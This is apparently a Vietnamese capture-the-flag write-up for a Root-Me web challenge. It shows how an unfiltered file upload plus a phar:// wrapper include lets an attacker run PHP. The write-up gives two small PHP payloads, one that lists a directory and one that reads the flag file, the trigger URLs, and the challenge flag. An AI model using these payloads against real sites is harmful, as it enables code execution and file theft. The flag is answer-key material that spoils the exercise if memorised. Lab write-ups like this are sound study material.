Đầu tiên vào trang ta thấy không filter input file ta thực hiện tấn công

Tạo payload

<?php

$dir = "/challenge/web-serveur/ch43/";

if (is\_dir($dir)){

if ($dh = opendir($dir)){

while (($file = readdir($dh)) !== false){

echo "filename:" .$file. "<br>";

}

closedir($dh);

}

}

?>

Chuyển đổi thành jpg và gửi lên

yzA9v2EZo

Graphical user interface, application, Word

Description automatically generated

Xem file

http://challenge01.root-me.org/web-serveur/ch43/index.php?page=phar://tmp/upload/yzA9v2EZo.jpg/1

Graphical user interface, application, Word

Description automatically generated

Tên file flag trên hình, tạo payload và gửi

<?php $data = file\_get\_contents("flag-mipkBswUppqwXlq9ZydO.php"); echo $data; ?>

UBLSjyMjH

http://challenge01.root-me.org/web-serveur/ch43/index.php?page=phar://tmp/upload/UBLSjyMjH.jpg/1

Graphical user interface, application, Word

Description automatically generated

lf1-Wr4pp3r\_Ph4R\_pwn3d

Do làm nhiều lân nên có thể mã bị thay đổi